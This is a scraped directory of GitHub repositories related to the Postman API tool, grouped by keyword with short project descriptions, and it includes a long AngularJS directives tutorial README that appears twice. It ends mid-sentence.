challange, implements, lang, manager, program, programming, service, user 		A programming challange in Java SpringBoot. Restful service that implements a cache based user manager. 0 stars 0 watchers 0 forks
JosephFahedTossi/voting-api
application, header, image, interface, program, programming, search, select, software, test, tested, upload, user 		An application programming interface which is tested using the Postman software where a user can search candidates by using the header "firstname", upload an image and vote for the selected candidate. 0 stars 0 watchers 0 forks
LarryKarani/IreporterReactJs
access, application, auth, check, clone, command, coverage, development, download, endpoint, endpoints, environment, flask, following, framework, github, heroku, http, https, install, lang, language, list, local, location, login, machine, program, programming, pytest, python, report, reporter, require, signup, single, source, stat, status, terminal, test, tested, user, users, version, youtube 		# iReporterApi iReporter is an application whose aim is to reduce corruption in Africa and foster economic development. It allows users to create red flags and interventions. It implents the following list of APIs. ### Framework used The application is built using python: flask framework. >[Flask](http://flask.pocoo.org/) is a microframework for the Python programming language. ### End points Method | Endpoint | Usage | | ---- | ---- | --------------- | |POST| `/api/v2/auth/signup` | Register a user. | |POST| `api/v2/auth/login` | Login user.| |POST| `api/v2/auth/logout` | Logs out a user.| |POST| `api/v2/interventions` | Create a new incident. | |GET| `api/v2/interventions` | Get all the created incidents. | |GET| `api/v2/interventions/user` | Get all incident of the logged in user. | |GET| `api/v2/interventions/` | Get a single incident. | |PATCH| `api/v2/interventions//location` | Update a single incident location. | |PATCH| `api/v2/interventions//comment` | Update a single incident comment. | |PATCH| `api/v2/interventions//status` | Update a single incident status. | |DELETE| `api/v2/interventions/` | Delete a single incident. | ## Installation 🕵 - To run on local machine git clone this project : ``` $ git clone https://github.com/larryTheGeek/iReporterApi.git ``` Copy and paste the above command in your terminal, the project will be downloaded to your local machine. To Install python checkout: ``` https://www.python.org/ ``` - create a virtualenv and make it use python 3 using the following command. ``` $ virtualenv -p python3 env ``` - activate the virtual environment ``` $ source env/bin/activate ``` - Install Requirements ``` $ pip install -r requirements.txt ``` ### Testing - Run Test using pytest with the following command ``` $ py.test --cov=app test` ``` you will get the test coverage report on your terminal The app can also be tested via Postman - Run App ``` $ python run.py ``` The app should be accessiable via : http://127.0.0.1:5000/ open postman and navigate to the API endpoints described above ### HEROKU URL https://ireporter-version2.herokuapp.com/api/v2/ ### Owner - Larry Karani ### Motivation https://www.youtube.com/watch?v=wHRUDL7GKmI 0 stars 0 watchers 0 forks
SalsabilaFirdausy/Web-RestaurantReservation-
program, programming, report 		Advance web programming report about Restaurant Reservation and Test API using postman 0 stars 0 watchers 0 forks

news (7 listings) (Back to Top)

mynewsdesk/postman
email, event, filter, mail, news 		Search and filter Sendgrid email events 5 stars 5 watchers 0 forks
RomanaBW/BwPostman
extension, news, newsletter 		BwPostman is a complete and extensive newsletter extension to Joomla! 3.3.6 and above. 1 stars 1 watchers 1 forks
newsletter2go/api-docs
collection, docs, news, newsletter, newsletter2go 		Postman collection for the Newsletter2Go REST API 0 stars 0 watchers 1 forks
atembamanu/news-app
application, general, news, test, tester, user, users 		An application that allows one to add more users, add departments, add users to those departments, create news for the departments as well as create general news. The front-end is presented using Postman API tester application. 0 stars 0 watchers 0 forks
javierrcc522/news-crawler
crawler, news, script, week 		Javascript week 2 - using APIs and Postman 0 stars 0 watchers 0 forks
majdbk/JAVA-EE-Women-Empowerment-Plateform
development, form, news, sessions, social, training, user, users 		Design / Backend development of the Women empowerment plateform, a social news plateform where users can manage and participate in training sessions and give their feedback. Tools: Java/JEE, JBOSS/Wildfly, PostgreSQL, Postman, Apache Maven, Hibernate ORM 0 stars 0 watchers 0 forks
shenfei/postman
news, newsletter, tool 		A newsletter deliver tool 0 stars 0 watchers 0 forks

accounts (7 listings) (Back to Top)

HrithikMittal/Nexus-Account
account, accounts, backend, enabling, inventory, track 		It is the backend repository of Mobile App enabling MSMEs to track finances and manage accounts and inventory📱 0 stars 0 watchers 4 forks
mgaby25/django-postman-sample
account, accounts, boot, django, integrating, pinax, rating, sample, theme, user 		Just a sample project of integrating postman with django-user-accounts using pinax-theme-bootstrap 0 stars 0 watchers 3 forks
leungant/django-useraccounts-messaging-starter
account, accounts, auth, django, followed, message, messages, messaging, notification, starter, user 		Project with Login with all auth, followed by messages and notification with postman and django-notifications-hq, can be used a starter app 1 stars 1 watchers 0 forks
chrhobbs/ise-guest-accounts
account, accounts, guest 		Create Guest Accounts on Cisco ISE using REST API (Postman) 0 stars 0 watchers 0 forks
Derevyaa/postman
account, accounts, salesforce, test, tests 		salesforce tests for accounts 0 stars 0 watchers 0 forks
harshitbshah/node-todo-api
account, accounts, auth, authentication, node, todo, user 		A todo REST API with user accounts and authentication using MongoDB, Mongoose ODM, Mocha.js, Postman. 0 stars 0 watchers 0 forks
vmchiran/postman-oic-service-account
account, accounts, collection, service, setting 		Postman collection for setting up service accounts without password expiration for OIC. 0 stars 0 watchers 0 forks

stores (7 listings) (Back to Top)

RTradeLtd/ipld-eml
data, email, mail, parse, parser, store, stores 		An RFC-5322 compatible email parser that stores data on IPFS 5 stars 5 watchers 0 forks
Shaykoo/task-manager-api
address, auth, authenticate, authenticated, authentication, data, database, email, mail, manager, notify, require, required, send, sends, site, store, stores, task, tasks, test, user, users, website 		This app is purely based on NodeJS. This app is a task manager app which stores all the users and their tasks in MongoDB database with required authentication of the user to create, read, update and delete the users and their own particular tasks plus when a user gets created or deleted the app sends them email to notify. Use the website address to test it on postman. Get authenticated before using the app on postman. 1 stars 1 watchers 0 forks
Pal0720/Dec-api
application, data, database, details, endpoint, example, following, form, framework, function, functions, implementation, implementations, list, memory, multiple, names, product, products, retrieve, script, security, send, service, single, spec, store, stores, updated 		Build a RESTful API/MICROSERVICE with the following implementations : The API/Microservice must perform these basic CRUD Operations : - Accepts a request to add a new entry into the database. - Accepts a request to update an existing entry into the database. - Accepts a request to retrieve all the existing entries from the database. - Accepts a request to retrieve a single entry with respect to a particular field (ID, Name, etc.. ) from the database. a. Products : Products Table Schema : Decathlon_Products ProductID | ProductName | ProductSport | ProductLevel | ProductDescription | AssociatedStores | b. Stores : DB Table Schema : Decathlon_Stores StoreID | StoreName | StoreCity | Note : 1. 'AssociatedStores' is the field to capture the StoreIDs in which the product is available. It can be multiple stores. 2. Both Products and Stores API can be called separately and together to perform the above mentioned functions. For Ex: Expose one endpoint (for example: /stores/{store_id}/products/{product_id} ) to retrieve the details of the product associated to a store. Expose one endpoint ( /stores/store_id/products ) to list all the products available in that particular store. 3. IDs and names cannot be updated. 4. You can use Spring Boot(Java) or Django Framework (with Python) or any framework you are comfortable with to build the application with Maven. 5. You can use an in-memory database : H2/Apache Derby. 6. You can use Postman as the REST Client to send requests. Security : Implement a Basic Authorization security mechanism, which is validated on all requests. 0 stars 0 watchers 1 forks
awaisbub/Shircle
aapplication, android, application, back end, business, businesses, customer, data, database, design, designed, developer, entity, following, framework, generation, insight, inventory, keeper, local, mobile, product, products, report, reports, rest, setup, solution, store, stores, studio, track 		It is Android aapplication back end code made for small local businesses. The back end of this application is in C# .NET using MVC architecture making REST APIs. And all the views are on Android. I worked as a back end developer in this app. Back end of the app is in c# using .NET entity framework. REST APIs developed using Model View Controller(MVC) architecture. Views were designed on android studio. The database was designed by using Code First Approach. (Visual Studio, Android Studio, Microsoft Azure, Microsoft SQL, SQLite, Postman, Entity Framework, MVC, Firebase REST API’s, REST API’s, JSON) This app has the following features: I. It provides all in one business solution to shopkeepers. Shopkeeper can setup his online store, manage sales through mobile POS, track of inventory, sale reports generation, market insights, and trending products. II. On the other hand, customer can view nearby stores through Google Maps & Shircle-Eye, add products to virtual cart, and view trending items according to their interests. 0 stars 0 watchers 0 forks
ChiragSoni95/Stores_REST_API
access, auth, authentication, store, stores, user 		A REST API to access items, stores, user authentication. 0 stars 0 watchers 0 forks
lilitam/stores_rest_api_test
case, cases, design, designed, python, rest, store, stores, test 		Rest API - test cases designed in python and with Postman 0 stars 0 watchers 0 forks
TJaySteno/P11-build-rest-api
course, rating, rest, reviews, site, store, stores, user, users, website 		This REST API handles requests for a course rating website. Using MongoDB, stores the reviews users make on different courses. 0 stars 0 watchers 0 forks

usable (7 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
gep13/appveyor-postman
postman scripts, script, scripts, usable 		A set of re-usable postman scripts for working with the AppVeyor API 1 stars 1 watchers 1 forks
AlexNDRmac/postman_asserts
api blueprint, assert, asyncapi, json, json schema, oauth, openid, postman tests, reusable, schema, script, scripts, sql, test, tests, usable, validation 		Tiny scripts for Postman Auto tests (reusable Assertions for postman tests and json schema validation) 0 stars 0 watchers 1 forks
BrentGruber/pyman
class, collection, convert, export, exported, library, postman collection, usable 		Python library that can convert an exported postman collection into a usable Python class for making api calls 0 stars 0 watchers 0 forks
enahomurphy/micro-recipe
developing, mongo, node, recipe, reusable, service, services, test, usable 		test project for developing highly reusable node/mongo services recipe service 0 stars 0 watchers 0 forks
ibrsp/dataentry-api-postman-collection
collection, data, postman scripts, script, scripts, usable 		A set of re-usable postman scripts for working with the Dataentry API 0 stars 0 watchers 0 forks
smichea/meveoman
collection, java, meveo, script, standalone, usable 		A meveo script, also usable as a standalone java app, that execute a postman 2.1 collection 0 stars 0 watchers 0 forks

forge (7 listings) (Back to Top)

Autodesk-Forge/forge-tutorial-postman
collection, forge, tutorial, tutorials 		Postman collection for Forge Design Automation tutorials 12 stars 12 watchers 10 forks
sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature 